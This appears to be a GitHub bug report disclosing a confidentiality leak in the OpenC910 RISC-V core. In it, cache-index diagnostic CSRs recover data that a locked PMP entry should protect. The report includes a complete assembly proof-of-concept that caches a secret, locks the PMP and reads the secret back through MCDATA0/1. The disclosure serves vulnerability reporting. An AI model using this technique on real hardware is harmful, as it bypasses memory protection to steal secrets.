Skip to content

Cache-index reads can recover data after locked PMP blocks normal loads #58

Description

@jimmymtest

Summary

I found a bug in OpenC910's machine cache-index read CSRs (MCINDEX, MCINS, MCDATA0/1). After locked PMP blocks normal loads from a physical address, cache diagnostic reads should not expose that protected data. However, OpenC910 can still recover the cached line through MCDATA0/1.

The provided test case is a locked M-mode confidentiality leak:

  • write a secret to 0x60080
  • read it once so the line is resident in D-cache
  • install a locked no-access NAPOT PMP entry on the page
  • confirm a normal M-mode load from the address raises mcause = 5
  • scan D-cache data arrays through MCINDEX/MCINS
  • read the secret back through MCDATA0/1

Expected result:

  • after locked PMP denies ordinary loads, cache diagnostic read should not expose protected data

Actual result on OpenC910:

  • the secret is recovered through MCDATA0/1

Testcase

The testcase configures:

pmpaddr0 = 0x181ff
pmpcfg0  = 0x98  # L=1, A=NAPOT, R/W/X=0
target   = 0x60080

It first executes a normal load:

ld    t3, 0(t0)

This load traps as expected. Then it scans D-cache data array way/index:

csrw  0x7d3, t0   # MCINDEX
li    t0, 1
csrw  0x7d2, t0   # MCINS
csrr  t3, 0x7d4   # MCDATA0
csrr  t3, 0x7d5   # MCDATA1

If the bug is present, the testcase prints CTSL.

Full Test Case:

.equ CSR_MCINS,     0x7d2
.equ CSR_MCINDEX,   0x7d3
.equ CSR_MCDATA0,   0x7d4
.equ CSR_MCDATA1,   0x7d5

.equ TARGET_ADDR,   0x60080
.equ TARGET_NAPOT,  0x181ff
.equ PMP_NO_L_NAPOT,0x98
.equ SECRET,        0x5ac35ac3d00df00d
.equ CAUSE_LD_AF,   5

#ifndef INVALIDATE_BEFORE_LOCK
#define INVALIDATE_BEFORE_LOCK 0
#endif

.text
.align 6
.global main
main:
  la    t0, trap_handler
  csrw  mtvec, t0

  li    s7, 0
  li    t0, TARGET_ADDR
  li    t1, SECRET
  sd    t1, 0(t0)
  ld    t2, 0(t0)
  bne   t2, t1, setup_failed

#if INVALIDATE_BEFORE_LOCK
  # Negative control: remove the warmed line before PMP is locked. The later
  # cache-index scan should not observe SECRET if the leak depends on cache
  # residency instead of stale MCDATA CSR contents.
  li    t0, TARGET_ADDR
  .word 0x0262800b           # dcache.iva t0
  fence
#endif

  li    t0, TARGET_NAPOT
  csrw  pmpaddr0, t0
  li    t0, PMP_NO_L_NAPOT
  csrw  pmpcfg0, t0
  fence

  csrr  t0, pmpcfg0
  andi  t0, t0, 0xff
  li    t1, PMP_NO_L_NAPOT
  bne   t0, t1, setup_failed

  li    a0, 67
  jal   ra, oracle_putc

direct_load_probe:
  li    t0, TARGET_ADDR
faulting_ld:
  ld    t3, 0(t0)

  li    a0, 71
  jal   ra, oracle_putc
  j     done

after_direct_load:
  beqz  s7, setup_failed

  li    a0, 83
  jal   ra, oracle_putc

  li    s0, 0              # way
way_loop:
  li    s1, 0              # index bit4 variant
idx_loop:
  li    t0, 3
  slli  t0, t0, 28         # rid=3: dcache data
  slli  t1, s0, 21
  or    t0, t0, t1
  li    t1, TARGET_ADDR
  beqz  s1, 1f
  xori  t1, t1, 0x10
1:
  li    t2, 0x1fffff
  and   t1, t1, t2
  or    t0, t0, t1
  csrw  CSR_MCINDEX, t0
  li    t0, 1
  csrw  CSR_MCINS, t0

  # Wait long enough for cdata0/1 to latch if the cache-read request returns.
  .rept 64
  nop
  .endr

  csrr  t3, CSR_MCDATA0
  li    t4, SECRET
  beq   t3, t4, leaked
  csrr  t3, CSR_MCDATA1
  beq   t3, t4, leaked

  addi  s1, s1, 1
  li    t0, 2
  blt   s1, t0, idx_loop
  addi  s0, s0, 1
  li    t0, 2
  blt   s0, t0, way_loop

  li    a0, 78
  jal   ra, oracle_putc
  j     done

leaked:
  li    a0, 76
  jal   ra, oracle_putc
  j     done

trap_handler:
  csrr  t0, mcause
  li    t1, CAUSE_LD_AF
  bne   t0, t1, wrong_trap
  csrr  t0, mepc
  la    t1, faulting_ld
  bne   t0, t1, wrong_trap
  li    s7, 1
  li    t3, UART_MMIO_ADDR
  li    t4, 84
  sw    t4, 0(t3)
  la    t0, after_direct_load
  csrw  mepc, t0
  mret

wrong_trap:
  li    t3, UART_MMIO_ADDR
  li    t4, 87
  sw    t4, 0(t3)
1:
  j     1b

setup_failed:
  li    a0, 70
  jal   ra, oracle_putc

done:
1:
  j     1b

appendix.zip

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions